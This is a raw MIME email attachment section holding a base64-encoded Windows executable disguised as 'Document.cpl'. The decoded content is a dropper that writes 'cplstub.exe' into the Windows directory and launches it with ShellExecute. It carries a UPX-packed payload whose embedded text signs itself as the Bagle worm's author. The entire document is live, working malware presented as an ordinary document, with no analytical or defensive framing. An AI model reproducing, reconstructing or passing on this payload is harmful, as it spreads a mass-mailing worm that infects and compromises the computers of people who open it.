----------nxzscyalqugctxcujlkv Content-Type: application/octet-stream; name="Document.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Document.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAL4IAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAAC9SAAAAMAAAL1IAAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK1IAAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA 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 6LDN/g3BIcvdbncNnwySwVUaE/RCNs4JQ/7HLgfrMKsVxCQ8/zwR2f////+elZTdjtqfjJ+U 2o6Ig9rA19OH8RTzc50x7lxyH6pPTP////8fVntmh5m6yhdKMbyvgvTG5UDeAVbwoEFa26+0 UN9ahv////+cT94VRUojtWLDt1un1/7kSYUuDyVQxK1/NQ7NaZXTX/8N/v/BpUCD7TMhtvox NaR7FEpMb4nKFslJH5b/////F39Xz8Py0NLL1udnn+g8nsCvX+vEkOsTIWQq7sBDCfb4//+l 5hbpVOm59bLplvjkovQ+8dELDX1QIzX///+lnHXpLrw5e/xwKx8pekPpgxgrypEmGmG8bxL/ //+/lMNDr6Katk7jW3SecH9StUEWOSRkbN38v9Hf6OsHKuNzyZNDbystOS55kf//f6GSnJAt VINXIjp4Ja5Pc+u0wwbevewEOBr//y3+jBZmNUXBrs8hYFxMA/JuQJ7Cn8XevKO1/////1yx rnxuGmvfAiIYHqZosvcbHydQS2l2aPTNFeGRMNDg/////wMkZ2U8ppWk1HbsvBxDwjLE8GxS zmrrQfKz6HIdVV+gv8H//2nUFS6onGg1J065HThwRT542A0UKNogxf////85PWOvinAGguTz XRMAt67wlCxvhlNJqEKBZao9hXSYtP/////pYdFGaXrsdfixTeA2CWp0PzrXW+KQ1obFrLM9 kQk8W/////+XF9HkdergvVjZzi3FGYHUxHd74F6mPjSQuH9Php2+lf//jf/e9acp6sZX94t+ ukKabp/5BwyWq8fVpU/DOP//G/01pQM77DMsyJxcVPOArio+mLtrOalhZKT/2///sMAIxH4T vXDV9lYySEPyV6LshjCFITpFSZ2eLf////+axR5qgkP9/SfWB8XAQUSDK7x8GVw65mI0ZGRR +TKvaP//1v8yT91nMvkemxpWfWic7v2DipG5MjVPeuvMyP+X/v+2pa5M9/1z/4E9G+lm1/PM H9jNxj9qAxq2ov////87MfJButxb4PwhP1kfuN/lHbfBlzNu5++aGyoWNuYAwcHb//9SH40d BcBx0+6xUb0uVlGqckNKecuT////vxHxLWcvhipmTr2ipYyGt1hguHdFtWMOFUcZKNEUr+r/ //9RVaQkHfxYsu+7BtAV99mas6lMZbSKBqY5Mzv//y/Qg6UrVQItmxfazYHgNcw+UZ+JOglS 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 